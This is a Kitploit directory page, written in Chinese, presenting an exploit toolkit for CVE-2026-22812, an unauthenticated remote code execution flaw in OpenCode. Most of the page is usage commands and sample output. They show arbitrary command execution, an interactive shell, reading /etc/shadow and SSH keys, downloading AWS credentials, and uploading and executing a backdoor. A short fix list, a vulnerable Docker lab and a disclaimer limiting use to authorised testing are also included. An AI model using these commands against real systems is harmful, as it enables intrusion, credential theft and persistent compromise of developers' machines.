Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/rohmatariow/cve-2026-22812-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制远程访问工具
GitHubrohmatariow/cve-2026-22812-exploit

CVE-2026-22812-exploit

针对 CVE-2026-22812(OpenCode 未授权远程代码执行)的利用工具包,提供交互式 Shell、任意命令执行、文件上传/下载以及系统枚举功能,适用于授权安全测试。

查看仓库
3367个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22812 漏洞利用工具

Python CVSS

针对 CVE-2026-22812(OpenCode 未认证远程代码执行漏洞)的全功能利用工具包


🎯 概述

CVE-2026-22812 漏洞利用工具是一个针对 OpenCode 未认证远程代码执行漏洞的综合性利用框架。该工具提供多种利用方法,包括交互式 Shell、文件操作和系统信息枚举。

漏洞详情

  • CVE 编号:CVE-2026-22812
  • 受影响版本:OpenCode < 1.0.216
  • CVSS 评分:8.8(高危)
  • 攻击向量:网络
  • 认证要求:无需认证
  • 影响范围:系统完全沦陷

✨ 功能特性

🔓 利用能力

  • ✅ 未认证会话创建
  • ✅ 任意命令执行(RCE)
  • ✅ 带命令历史的交互式 Shell
  • ✅ 文件上传/下载
  • ✅ 任意文件读取
  • ✅ PTY 会话创建
  • ✅ 系统信息枚举
  • ✅ 代理支持(兼容 Burp Suite)

  • 📦 安装

    前置条件

    • Python 3.7+
    • pip
    • requests 库

    快速安装

    root@kitploit:~
    # 克隆仓库
    git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
    cd CVE-2026-22812-exploit
    
    # 安装依赖
    pip3 install -r requirements.txt
    

    手动安装

    root@kitploit:~
    pip3 install requests urllib3
    

    🚀 使用方法

    基本利用

    1. 验证目标是否存在漏洞

    root@kitploit:~
    python3 exploit.py -t http://192.168.1.10:4096 --verify
    

    输出:

    root@kitploit:~
    [+] Target is VULNERABLE to CVE-2026-22812!
    [+] Session ID: abc123def456
    

    2. 执行单条命令

    root@kitploit:~
    python3 exploit.py -t http://192.168.1.10:4096 -c "id"
    

    输出:

    root@kitploit:~
    [*] Creating session...
    [+] Session created: abc123def456
    [+] Target is VULNERABLE!
    
    [*] Executing: id
    [+] Command executed successfully
    
    uid=1000(developer) gid=1000(developer) groups=1000(developer)
    

    3. 交互式 Shell 模式

    root@kitploit:~
    python3 exploit.py -t http://192.168.1.10:4096 -i
    

    交互式会话:

    root@kitploit:~
    [+] Session created: abc123def456
    [+] Target is VULNERABLE!
    
    [*] Entering interactive shell mode
    [!] Type 'help' for commands, 'exit' to quit
    
    developer@target$ whoami
    developer
    
    developer@target$ pwd
    /home/developer/workspace
    
    developer@target$ ls -la
    total 48
    drwxr-xr-x  8 developer developer 4096 Jan 16 10:30 .
    drwxr-xr-x  3 developer developer 4096 Jan 15 09:20 ..
    -rw-r--r--  1 developer developer  220 Jan 15 09:20 .bash_logout
    ...
    
    developer@target$ read /etc/hostname
    [*] Reading file: /etc/hostname
    [+] File read successfully (10 bytes)
    dev-server-01
    
    developer@target$ exit
    [*] Exiting...
    

    📚 详细用法

    命令执行

    root@kitploit:~
    # 单条命令
    python3 exploit.py -t http://target:4096 -c "whoami"
    
    # 复杂命令
    python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
    
    # 多条命令
    python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
    

    文件操作

    读取文件

    root@kitploit:~
    # 读取敏感文件
    python3 exploit.py -t http://target:4096 -r /etc/passwd
    python3 exploit.py -t http://target:4096 -r /etc/shadow
    python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
    

    上传文件

    root@kitploit:~
    # 上传 Shell 脚本
    python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
    
    # 上传二进制文件
    python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
    
    # 上传并执行
    python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
    python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
    

    下载文件

    root@kitploit:~
    # 下载配置文件
    python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
    
    # 下载凭据文件
    python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
    
    # 下载源代码
    python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
    

    系统信息枚举

    root@kitploit:~
    # 收集系统信息
    python3 exploit.py -t http://target:4096 --sysinfo
    

    输出:

    root@kitploit:~
    {
      "hostname": "dev-server-01",
      "username": "developer",
      "user_id": "uid=1000(developer) gid=1000(developer)",
      "current_dir": "/home/developer/workspace",
      "kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
      "os_release": "Ubuntu 22.04.3 LTS",
      "ip_address": "192.168.1.10",
      "processes": "..."
    }
    

    修复建议

    1. 立即更新:npm install -g opencode-ai@latest
    2. 终止进程:pkill -f opencode
    3. 检查日志:审查系统日志以发现入侵迹象
    4. 轮换凭据:更改密码、SSH 密钥
    5. 系统审计:检查是否存在后门

    🧪 测试环境搭建

    使用 Docker(推荐)

    root@kitploit:~
    # Dockerfile for vulnerable OpenCode
    FROM node:18
    RUN npm install -g [email protected]
    EXPOSE 4096
    CMD ["opencode"]
    
    root@kitploit:~
    # 构建并运行
    docker build -t opencode-vuln .
    docker run -p 4096:4096 opencode-vuln
    
    # 测试漏洞利用
    python3 exploit.py -t http://localhost:4096 -i
    

    手动搭建

    root@kitploit:~
    # 安装存在漏洞的版本
    npm install -g [email protected]
    
    # 启动 OpenCode
    opencode
    
    # 在另一个终端中运行漏洞利用
    python3 exploit.py -t http://localhost:4096 --verify
    

    ⚠️ 切勿在生产环境中部署存在漏洞的版本!


    📚 参考资料

    漏洞信息

    • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-22812
    • GitHub 安全公告:https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh
    • MITRE:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22812=

    ⚠️ 法律免责声明

    请仔细阅读

    本工具仅供授权安全测试使用。

    ❌ 禁止用途

    • 未经授权的系统访问
    • 未经许可的扫描
    • 任何非法活动
    • 恶意用途
    • 未经授权对生产系统进行操作

    法律声明

    作者:

    • 不纵容非法使用
    • 不对滥用行为负责
    • 不支持非法活动
    • 不承担任何责任

    使用本工具即表示您同意:

    • 获得适当授权
    • 遵守所有法律法规
    • 承担全部责任
    • 以合乎道德和负责任的方式使用

    使用风险自负


    ⭐ 如果对您有帮助,请点个星标!⭐
    仅供授权安全测试使用

    下载工具